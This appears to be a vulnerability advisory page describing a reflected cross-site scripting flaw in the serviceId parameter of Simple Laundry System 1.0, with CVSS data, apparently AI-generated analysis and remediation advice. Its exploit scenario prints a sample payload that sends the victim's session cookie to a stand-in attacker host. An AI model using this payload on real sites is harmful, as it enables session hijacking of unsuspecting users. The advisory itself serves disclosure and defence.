EUVD-2026-21779
GHSA-8f84-x6pj-qm67
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
8DescriptionCVE.org
A vulnerability has been found in code-projects Simple Laundry System 1.0. This affects an unknown part of the file /checkupdatestatus.php. The manipulation of the argument serviceId leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
AnalysisAI
Cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows remote attackers to inject arbitrary scripts via the serviceId parameter in /checkupdatestatus.php. The vulnerability requires user interaction (UI:R) and results in low integrity impact, but is publicly available with exploit code and has been disclosed. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Risk Assessment | The CVSS:3.1 score of 4.3 reflects a medium-low severity rating driven by: AV:N (network-accessible), AC:L (low complexity), PR:N (no authentication required), UI:R (requires user click), S:U (unchanged scope), and impact ratings of I:L (low integrity impact) and C:N/A:N (no confidentiality or availability impact). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a malicious URL containing embedded JavaScript in the serviceId parameter (e.g., /checkupdatestatus.php?serviceId=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and distributes it via email or social engineering. When an authenticated user of the Simple Laundry System clicks the link, the unvalidated input is reflected back in the HTTP response and executed in the victim's browser, allowing the attacker to steal session cookies or perform actions on behalf of the user. … |
| Remediation | Implement immediate input validation and output encoding in /checkupdatestatus.php by sanitizing the serviceId parameter using context-appropriate functions (e.g., htmlspecialchars() or htmlentities() for HTML context in PHP) and validating against an allowlist of expected values. … Detailed patch versions, workarounds, and compensating controls in full report. |
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